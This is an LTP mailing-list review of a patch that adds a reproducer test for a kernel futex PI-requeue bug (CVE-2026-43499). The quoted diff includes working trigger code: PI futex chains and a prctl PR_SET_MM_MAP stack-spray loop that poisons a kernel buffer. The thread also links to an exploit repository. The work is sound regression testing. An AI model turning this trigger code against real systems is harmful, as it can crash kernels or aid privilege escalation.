[LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer

[Petr Vorel]

Hi Andrea,

> Hi Petr,

> > tst_test.c:2047: TINFO: LTP version: 20260529-202-ga91c5b6036
> > tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc6-3.g1b28f10-default #1 SMP PREEMPT_DYNAMIC Thu Aug  6 23:49:19 UTC 2026 (1b28f10) x86_64
> > tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
> > tst_kconfig.c:756: TINFO: CONFIG_FAULT_INJECTION kernel option detected which might slow the execution
> > tst_test.c:1875: TINFO: Overall timeout per run is 0h 05m 00s
> > ghostlock.c:191: TINFO: Triggering PI deadlock and stack spray
> > Test timeouted, sending SIGKILL!
> > tst_test.c:1947: TINFO: If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1
> > tst_test.c:1949: TBROK: Test killed! (timeout?)

> did you try with LTP_TIMEOUT_MUL > 1? It's possible that CVE is simply
> not triggered.

Trying nowi with LTP_TIMEOUT_MUL=2 and even this did not help. But this is
normal VM => more people will get TBROK (false positive). IMHO test should use
tst_remaining_runtime()) and quit earlier itself. And maybe the default runtime
should be higher.

> > > +static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
> > > +				 struct timespec *ts)
> > > +{
> > > +	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
> > > +			   uaddr2, 0);
> > > +}
> > > +
> > > +static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
> > > +{
> > > +	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
> > > +			   uaddr2, 0);
> > > +}
> > > +
> > > +static int futex_lock_pi(uint32_t *uaddr)
> > > +{
> > > +	return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
> > > +}
> > > +
> > > +static int futex_unlock_pi(uint32_t *uaddr)
> > > +{
> > > +	return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
> > > +}
> > nit: we already have sys_futex() in include/tst_timer.h, maybe using it?

> isn't it exactly the same?

Exactly, that's why would personally use already defined function. But ok, these
names are kind of documentation of the usage, feel free to ignore it.

> > > +
> > > +static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
> > > +{
> > > +	struct timespec ts;
> > > +	struct prctl_mm_map mm_map = {
> > > +		.start_code  = (uint64_t)(uintptr_t)&waiter_fn,
> > > +		.end_code    = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
> > > +		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
> > > +		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
> > > +		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
> > > +		.brk         = (uint64_t)(uintptr_t)sbrk(0),
> > > +		.start_stack = (uint64_t)(uintptr_t)&mm_map,
> > > +		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
> > > +		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
> > > +		.env_start   = (uint64_t)(uintptr_t)&mm_map,
> > > +		.env_end     = (uint64_t)(uintptr_t)&mm_map,
> > > +		.auxv        = (void *)auxv,
> > > +		.auxv_size   = valid_auxv_size,
> > > +		.exe_fd      = (uint32_t)-1,
> > > +	};

> > nice magic :).

I tried to read code in
https://github.com/NebuSec/CyberMeowfia/tree/main/IonStack/CVE-2026-43499/exploit/src
and now I understand why you used Kimi K3 for analysis :).

> > > +
> > > +	waiter_tid = tst_syscall(__NR_gettid);
> > > +
> > > +	futex_lock_pi(&f_pi_chain);
> > > +
> > > +	TST_CHECKPOINT_WAKE2(CP_CHAIN_HELD, 2);
> > > +	TST_CHECKPOINT_WAIT(CP_OWNER_BLOCKED);
> > > +
> > > +	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
> > > +	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
> > > +	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
> > > +
> > > +	TST_CHECKPOINT_WAKE(CP_SPRAYED);
> > > +
> > > +	while (!tst_atomic_load(&stop_spray)) {
> > > +		prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
> > > +		      sizeof(mm_map), 0);

> > Maybe SAFE_PRCTL() ?

> I also thought about it, but that's the syscall that poison the buffer
> and we don't care if it fails. Actually, if it fails during SAFE_PRCTL(),
> the test will break and we can't reproduce the bug, so it's ok to leave
> it raw.

Maybe worth to note that in the comment so that it stays the same in the future?

> > > +	}
> > > +
> > > +	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);
> > > +
> > > +	futex_unlock_pi(&f_pi_chain);
> > > +
> > > +	return NULL;
> > > +}
> > > +
> > > +static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
> > > +{
> > > +	owner_tid = tst_syscall(__NR_gettid);
> > > +
> > > +	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
> > > +
> > > +	futex_lock_pi(&f_pi_target);
> > > +	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
> > > +
> > > +	futex_lock_pi(&f_pi_chain);
> > > +
> > > +	futex_unlock_pi(&f_pi_chain);
> > > +	futex_unlock_pi(&f_pi_target);
> > > +
> > > +	return NULL;
> > > +}
> > > +
> > > +static void setup(void)
> > > +{
> > > +	static const int try_sizes[] = {
> > very nit: why static?

> I can even move it wit hthe other static variables.

Yeah.

> > > +		MAX_AUXV_WORDS,
> > > +		MAX_AUXV_WORDS - 4,
> > > +		MAX_AUXV_WORDS - 8
> > I wonder why these other 2?

> according to the kernel version, we might have different words sizes.
> Especially for older kernels, MAX_AUXV_WORDS is rejected and we might
> need a smaller value.

Thanks for an explanation.

Anyway, the only important thing is IMHO to handle timeout.

Kind regards,
Petr

> > Code LGTM, but I'd like to have at least brief look at the original reproducers.

> > Kind regards,
> > Petr